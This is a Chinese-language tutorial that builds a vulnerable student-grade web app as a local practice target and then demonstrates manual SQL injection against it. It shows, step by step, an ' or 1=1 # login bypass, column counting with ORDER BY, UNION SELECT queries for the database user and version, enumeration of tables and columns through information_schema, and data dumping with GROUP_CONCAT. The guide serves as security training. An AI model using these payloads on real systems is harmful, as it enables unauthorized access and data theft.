文章目录
- 一、环境依赖
- 二、靶场搭建
- Ⅰ、下载靶场文件
- Ⅱ、创建网站
- Ⅲ、更改数据库root密码
- Ⅳ、新建并导入数据库
- Ⅴ、验证访问靶场
- 三、实战练习
- Ⅰ、嗅探字段
- ①、验证合法性
- ※语句解释
- ②、查找注入点
- ③、嗅探字段数
- Ⅱ、嗅探数据库信息
- Ⅲ、嗅探数据表信息
- ①、查询所有表
- ②、查询指定表的所有列
- Ⅳ、爆数据
- 完
一、环境依赖
- VMware V15.5(可选)
- Windows 10 x64 虚拟机(可选)
- phpstudy V8.1
- MySQL V5.7.26(在phpstudy内选择)
- Nginx 1.15.11(在phpstudy内选择)
- PHP V5.6.9(在phpstudy内选择)
- SQLyog(可用phpstudy内其他软件代替)
- 成绩管理系统靶场
二、靶场搭建
安装以上环境和软件
为模拟真实情况,靶场搭建在虚拟机内,而访问在物理机上完成(可选)
当然,操作均在物理机上进行也没问题
以下操作均在虚拟机内完成
Ⅰ、下载靶场文件
Ⅱ、创建网站
phpstudy --> 网站 --> 创建网站 --> 填写域名、端口、根目录,更改PHP版本
物理路径选择解压的靶场路径
(需修改成全英文)
请确认版本信息
Ⅲ、更改数据库root密码
数据库 --> 修改root密码 --> 将root密码修改为123456
(与靶场数据库保持一致)
靶场数据库密码在query.php
可以查询
<?php
require_once('query.html');
$db=mysql_connect('127.0.0.1','root','123456');
...
Ⅳ、新建并导入数据库
打开SQLyog --> 新建 --> 填写主机地址为localhost
、密码为123456
左侧栏 --> 右键创建数据库
名称自拟,建议设置成grade
–> 单击选中新建数据库 --> 将靶场文件夹内的.sql
文件拖入SQLyog -->左上角执行全部
导入成功后右下会有提示
成功后即可关闭SQLyog
Ⅴ、验证访问靶场
浏览器输入localhost:端口号
访问靶场
三、实战练习
以下操作在物理机上进行
访问靶场前使用CMD得到虚拟机IP
Ⅰ、嗅探字段
①、验证合法性
输入' #
、任意英文字符串、任意数字串验证合法性
若查询结果
无报错则语句合法
use mysqli
报错是由于使用了过时的PHP连接数据库函数,在此处不影响注入操作
※语句解释
查询学号基于SQL语法:
SELECT 学号 FROM 数据表 WHERE 名字 = ’ {输入的名字} ’
因此构造了以下语句
SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ # ’
查找空名字对应的学号,#号将后接入的’注释了
②、查找注入点
输入' or 1=1 #
构造语句
SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ or 1=1 # ’
or使得查询条件变为True,即全查询
出现所有结果表明学号存在注入点
尝试使用万能账户' or 1=1 #
登录,成功
(密码任填)
接下来查找字段名
使用F12 --> Network 查看发包方式
从而知道用户名字段名称为user
③、嗅探字段数
输入' ORDER BY -1 #
查看是否有字段存在
SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ ORDER BY -1 # ’
按照第-1列排序(第一列为1),若无报错证明至少存在一列
有字段存在后,从1开始递增反复查询直到报错
报错列-1即是字段总数
Ⅱ、嗅探数据库信息
使用联合查询UNION SELECT XXX
得到所需信息
- 输入
'UNION SELECT USER() #
查询用户名 - 输入
'UNION SELECT VERSION() #
查询数据库版本 - 输入
'UNION SELECT DATABASE() #
查询当前数据库名
…
…
Ⅲ、嗅探数据表信息
①、查询所有表
基础数据库有以下几个库information_schema
、mysql
、performance_shcema
、sys
它们记录了整个数据库的基本信息
输入' UNION SELECT table_name FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() #
查询所有数据表信息
SELECT 学号 FROM 数据表 WHERE 名字 = ’ ‘ UNION SELECT table_name FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() # ’
第一个查询无返回值,第二个查询是在information_schema这个数据库的TABLES表内进行
得到当前数据库包含的所有表的名称
(TABLES表内有所有表的信息)
②、查询指定表的所有列
输入' UNION SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME = "表名"#
查询表的所有列名
SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ UNION SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME = “表名”# ’
第一个查询无返回值,第二个查询是在information_schema这个数据库的COLUMNS表内进行
得到指定数据表包含的所有列的名称
若有重复表,请同时指定数据库名和表名
Ⅳ、爆数据
前提是拿到表结构、字段信息
输入' UNION SELECT GROUP_CONCAT(列1,列2,...,列n) FROM 表名 #
得到指定表指定列的数据
其中,GROUP_CONCAT表示相同行组合便于查看SELECT 列1,...,列n
也可